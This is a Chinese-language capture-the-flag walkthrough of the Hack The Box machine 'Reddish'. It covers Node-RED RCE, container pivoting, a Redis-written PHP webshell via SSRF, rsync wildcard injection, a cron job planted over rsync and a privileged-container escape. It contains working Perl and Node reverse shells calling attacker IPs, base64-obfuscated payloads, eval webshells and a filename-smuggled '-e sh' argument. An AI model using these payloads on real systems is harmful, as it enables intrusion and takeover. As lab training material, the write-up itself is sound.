Reddish

1. 信息收集

1.1. 端口扫描

┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# nmap 10.10.10.94 -p 1880 -sCV               
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-26 01:25 EDT
Nmap scan report for 10.10.10.94
Host is up (0.080s latency).

PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

没错,只有一个端口, 而且也没有开放什么UDP端口(扫了的)

2. Node-RED RCE

┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# curl 10.10.10.94:1880
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>

提示我们 Cannot GET / 那我们换一种方式

┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# curl -X POST 10.10.10.94:1880
{"id":"d60ca15224a88f0c66e913ae52269339","ip":"::ffff:10.10.16.82","path":"/red/{id}"} 

然后根据提示访问

http://10.10.10.94:1880/red/d60ca15224a88f0c66e913ae52269339/#flow/ff809268.b6281

Pasted image 20250528183408

发现这是一个Node-RED,
然后去找下有没有什么可以利用的漏洞
可以找到一个RCE https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/

首先从左边拖一个 inject 作为输入命令的模块
双击这个模块,把类型调整为string,然后输入下面的payload

perl -e 'use Socket;$i="10.10.16.82";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#或者用node
node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.10.16.82", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();'

Pasted image 20250528190444

然后给这个 inject 连接一个 exec 模块,点击部署,然后点 inject 旁边那个小方块即可执行命令
Pasted image 20250528190548

(remote) root@nodered:/node-red# whoami
root
(remote) root@nodered:/node-red# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@nodered:/node-red# 

3. 容器横向

进来后发现直接是Root权限,很可能就是docker,看下根目录,发现 .dockerenv 实锤是docker了

(remote) root@nodered:/# ls -la
total 80
drwxr-xr-x   1 root root 4096 Jul 15  2018 .
drwxr-xr-x   1 root root 4096 Jul 15  2018 ..
-rwxr-xr-x   1 root root    0 May  4  2018 .dockerenv

3.1. 网络探测

看下网络信息

(remote) root@nodered:/# ss -tunlp
Netid State      Recv-Q Send-Q             Local Address:Port               Peer Address:Port 
udp   UNCONN     0      0                     127.0.0.11:45475                         *:*     
tcp   LISTEN     0      128                   127.0.0.11:42127                         *:*     
tcp   LISTEN     0      128                           :::1880                         :::*      users:(("node",pid=1,fd=10))


1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
17: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
19: eth1@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
       valid_lft forever preferred_lft forever
       

可以发现这里有多个网段,

利用脚本对这2个网段上的主机进行扫描

┌──(root㉿kali)-[~/Desktop/tools]
└─# nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.16.82] from (UNKNOWN) [10.10.10.94] 44864
/bin/sh: 0: can't access tty; job control turned off
# for i in `seq 1 255`; do ping -c 1 -W 1 172.18.0.$i | grep 'from'; done
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.014 ms


#for i in `seq 1 255`;do ping -c 1 -W 1 172.19.0.$i |grep 'from' ;done
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.069 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.046 ms
64 bytes from 172.19.0.4: icmp_seq=1 ttl=64 time=0.020 ms

这里发现 172.19.0.1 172.18.0.1 这两个肯定就是宿主机了

本机是 172.19.0.4 172.18.0.2,那么还有两个docker 172.19.0.3 172.19.0.2

3.2. 端口扫描

我们对这两个docker进行扫描

# ./rustscan -a 172.19.0.3 

Open 172.19.0.3:80
[~] Starting Script(s)
[!] Error Exit code = 127
# ./rustscan -a 172.19.0.2

Open 172.19.0.2:6379
[~] Starting Script(s)
[!] Error Exit code = 127
# ./rustscan -a 172.19.0.1

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
[!] Looks like I didnt find any open ports for 172.19.0.1. This is usually caused by a high batch size.
        
*I used 4500 batch size, consider lowering it with 'rustscan -b <batch_size> -a <ip address>' or a comfortable number for your system.
        
 Alternatively, increase the timeout if your ping is high. Rustscan -t 2000 for 2000 milliseconds (2s) timeout.
 
 
 Open 172.19.0.3:80
 Open 172.19.0.2:6379

发现了两个web服务 172.19.0.2:6379 172.19.0.3:80
也就是一个是web一个是redis

3.3. 内网代理

这里是由于是在容器内部,端口转发也不好使(因为你只是转发了容器内部的端口,但是没有映射到宿主机上,所以你访问不了内网),只能搭代理。这里我使用 Stowaway 搭建代理并通过代理对内网进行探测。
Pasted image 20250528212947
然后配置 proxychains 方便我们后续利用
再配置一下火狐的代理
Pasted image 20250528213702
这样我们就可以访问到内网了
这是网页服务
Pasted image 20250528213727

查看源代码 发现了关键信息
Pasted image 20250528213855

1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder

这里提示我们 这个网站目录与redis数据库的目录是共享的,并且目录的url是 /f187a0ec71ce99642e4f0afbd441a68b

3.4. redis写webshell

尝试检测一下redis是否存在未授权

┌──(root㉿kali)-[~]
└─# proxychains -q redis-cli -h 172.19.0.2
172.19.0.2:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cce7cc41d26597f7
redis_mode:standalone
os:Linux 4.15.0-213-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.4.0
process_id:7
run_id:90ae6c0f2918e4e91124b814b0151690442d186d
tcp_port:6379
uptime_in_seconds:63648
uptime_in_days:0
hz:10
lru_clock:3607968
executable:/data/redis-server
config_file:

可以看到redis的版本是4.0.9,这是一个比较老的版本(对现在2025来说),但我还是选择不以大欺小

因为这里的网页服务于redis共享了一个文件夹。所以这里我选择写webshel

config set dir /var/www/html/
config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save



172.19.0.2:6379> config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b OK (0.77s) 172.19.0.2:6379> config set dbfilename shell.php OK 
172.19.0.2:6379> set x "<?php eval($_POST['a']); phpinfo();?>" (error) READONLY You can't write against a read only slave. (2.68s) 172.19.0.2:6379> set x "123" (error) READONLY You can't write against a read only slave. (1.32s)

这里失败了,提示我们这是只读的,不可写,我猜测应该是外部访问的原因

我们回到原来的web页面,查看源代码给了我们几个api
Pasted image 20250528221955
这里应该是一个与redis进行交互的api
我们可以尝试一下

┌──(root㉿kali)-[~]
└─# proxychains -q curl http://172.19.0.3/8924d0549008565c554f8128cd11fda4/ajax.php?test=info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cce7cc41d26597f7
redis_mode:standalone
os:Linux 4.15.0-213-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.4.0
process_id:7
run_id:90ae6c0f2918e4e91124b814b0151690442d186d
tcp_port:6379
uptime_in_seconds:66114
uptime_in_days:0
hz:10
lru_clock:3610434
executable:/data/redis-server
config_file:

看来是对的,那么我们可以通过这个进行一个SSRF+REDIS未授权写webshell

┌──(root㉿kali)-[~]
└─# proxychains -q curl http://172.19.0.3/8924d0549008565c554f8128cd11fda4/ajax.php?test=set%20shell%20%22%3C%3Fphp%20echo%20%40eval%28%24_POST%5Bx%5D%29%3B%20%3F%3E%22
READONLY You can't write against a read only slave.  

可恶,还是这样

Warning

后面发现是有狗尼玛的把权限设置改了。正常情况是可以写入的。
重置靶机就好了

172.19.0.3:6379> flushall
OK
172.19.0.3:6379> config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
OK
172.19.0.3:6379> config set dbfilename shell.php
OK
172.19.0.3:6379> set shell SET shell "<?php eval(\$_POST[cmd]); phpinfo(); ?>"
OK
172.19.0.3:6379> save
OK

proxychains -q redis-cli -h 172.19.0.3 flushall
proxychains -q redis-cli -h 172.19.0.3 config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
proxychains -q redis-cli -h 172.19.0.3 config set dbfilename a.php
proxychains -q redis-cli -h 172.19.0.3 set a "<?php system($_POST[cmd]);?>"
proxychains -q redis-cli -h 172.19.0.3 save

Pasted image 20250529001352

3.5. 反弹shell

成功写入,但是这里会每隔2 3分钟就删除你的webshell,所以我写了一个shell脚本帮我上传webshell

┌──(root㉿kali)-[~]
└─# cat redis.sh
proxychains -q redis-cli -h 172.19.0.3 flushall
proxychains -q redis-cli -h 172.19.0.3 config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
proxychains -q redis-cli -h 172.19.0.3 config set dbfilename shell.php
proxychains -q redis-cli -h 172.19.0.3 SET shell "<?php eval(\$_POST[cmd]); phpinfo(); ?>"
proxychains -q redis-cli -h 172.19.0.3 save

这里弹shell有点困难说实话,经过我的测试, 他是不出网的,所以你需要用socat把 入口机的端口转发到你kali的监听端口。
然后你需要用Perl的bind shell 对他进行 base64 然后再urlencode 才能反弹成功(这里试了好久)

#先是perl的bind shell 
perl -e 'use Socket;$i="172.19.0.4";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

# base64 
echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3Nztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCJzaCAtaSIpO307Jw== |base64 -d |sh

#再url
cmd=system('echo%20cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3Nztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI%2BJlMiKTtleGVjKCJzaCAtaSIpO307Jw%3D%3D%20%7Cbase64%20-d%20%7Csh')

Pasted image 20250529001901

成功拿到www-data用户权限

(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ whoami
www-data
(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ 

这里用了一个小脚本,类似于一个小的Pspy64,(因为这里已经搭建了两层代理,用pwncat上传不了文件)

#代码的内容 作用:实时监控系统中正在运行的进程,并显示新出现或消失的进程

#!/bin/bash
IFS=$'\n'
old=$(ps -eo command)
while true; do
    new=$(ps -eo command)
    diff <(echo "$old") <(echo "$new") | grep [\<\>]
    sleep .3
    old=$new
done


#没有vi 用base64写入
echo 'IyEvYmluL2Jhc2gKCklGUz0kJ1xuJwoKb2xkPSQocHMgLWVvIGNvbW1hbmQpCndoaWxlIHRydWU7IGRvCiAgICBuZXc9JChwcyAtZW8gY29tbWFuZCkKICAgIGRpZmYgPChlY2hvICIkb2xkIikgPChlY2hvICIkbmV3IikgfCBncmVwIFtcPFw+XQogICAgc2xlZXAgLjMKICAgIG9sZD0kbmV3CmRvbmUK' |base64 -d >proc.sh

3.6. Rsync利用 提权root

会发现他每隔几分钟就运行这个backup.sh

大致就是会把网站文件做备份通过 Rsync发送刚给 rsync://backup:873/src/rdb/

www-data@www:/tmp$ ./proc.sh 
> /usr/sbin/CRON
> /bin/sh -c sh /backup/backup.sh
> sh /backup/backup.sh
> sh /backup/backup.sh
< /usr/sbin/CRON
< /bin/sh -c sh /backup/backup.sh
< sh /backup/backup.sh
> /usr/sbin/exim4 -Mc 1uKJZS-000175-3C
< sh /backup/backup.sh
< /usr/sbin/exim4 -Mc 1uKJZS-000175-3C
^C

#查看/backup/backup.sh 的内容
www-data@www:/var/www/html$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

sh脚本中这条命令 rsync -a *.rdb rsync://backup:873/src/rdb/ 使用了通配符 *
我们可以进行利用
参考 https://book.hacktricks.wiki/zh/linux-hardening/privilege-escalation/wildcards-spare-tricks.html?highlight=rsync#rsync

首先我们先在入口机做一下端口转发,方便我们回弹shell

(remote) root@nodered:/# ./socat TCP-LISTEN:7778,fork TCP:10.10.16.82:777./socat TCP-LISTEN:7778,fork TCP:10.10.16.82:7778 &
[1] 194
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
#perl的shell
echo 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3ODtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsn' |base64 -d  > shell.rdb

echo > '-e sh shell.rdb'
#这里不能用touch创建文件,权限不足,但可以用echo

然后就可以拿到这台机器的root了
Pasted image 20250529011656
user

(remote) root@www:/home/somaro# cat user.txt 
5c3d8b6a75fa2663e9e42a1d2657718a

3.7. 利用Rsync文件写入 定时任务横向移动到backup容器

查看IP发现还有一个20网段,主机探测,发现还有一台主机,就是这个backup容器 172.20.0.3

for i in `seq 1 255`;do ping -c 1 -W 1 172.20.0.$i |grep 'from' ;done
64 bytes from 172.20.0.1: icmp_seq=1 ttl=64 time=0.058 ms
64 bytes from 172.20.0.2: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 172.20.0.3: icmp_seq=1 ttl=64 time=0.028 ms

利用pwncat上传一个socat用于端口转发给入口机

(remote) root@www:/tmp# ./socat TCP-LISTEN:9999,fork TCP:172.19.0.4:9999 ./socat TCP-LISTEN:9999,fork TCP:172.19.0.4:9999 &
[1] 7102

然后在入口机开启一个监听

(remote) root@nodered:/tmp# chmod +x busybox
(remote) root@nodered:/tmp# ./busybox nc -lvnp 9999
listening on [::]:9999 ...

然后因为我们这个www的机器有root权限,所以我们是可以利用rsync进行文件写入的。
rsync://backup:873/src/rdb/

那我们就可以写入定时任务
先传一个反弹shell的脚本

perl -e 'use Socket;$i="172.20.0.2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMiI7JHA9OTk5OTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsn |base64 -d >shell.sh

rsync shell.sh rsync://backup:873/src/tmp/shell.sh

(remote) root@www:/tmp# rsync shell.sh rsync://backup:873/src/tmp/shell.srsync shell.sh rsync://backup:873/src/tmp/shell.sh
(remote) root@www:/tmp# rsync  rsync://backup:873/src/tmp/shell.sh
-rw-r--r--            219 2025/05/28 17:14:37 shell.sh

然后写入定时任务

echo '* * * * * root sh /tmp/shell.sh' > shell
rsync -a shell rsync://backup:873/src/etc/cron.d/

然后就可以拿到backup机器的权限了

listening on [::]:9999 ...
connect to [::ffff:172.19.0.4]:9999 from [::ffff:172.19.0.2]:50660 ([::ffff:172.19.0.2]:50660)
/bin/sh: 0: cant access tty; job control turned off
# 
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
13: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.3/16 brd 172.20.255.255 scope global eth0
       valid_lft forever preferred_lft forever
# hostname
backup

4. 特权容器逃逸

这台机器是一个特权容器

# cat /proc/self/status | grep CapEf
CapEff: 0000003fffffffff

直接挂载宿主机根目录即可逃逸

# mkdir /tmp/host
# mount /dev/sda2 /tmp/host
# cd /tmp/host
# ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

# cat root.txt
c6386d53ae73bd7ab604f20faf691f16

Pasted image 20250529014431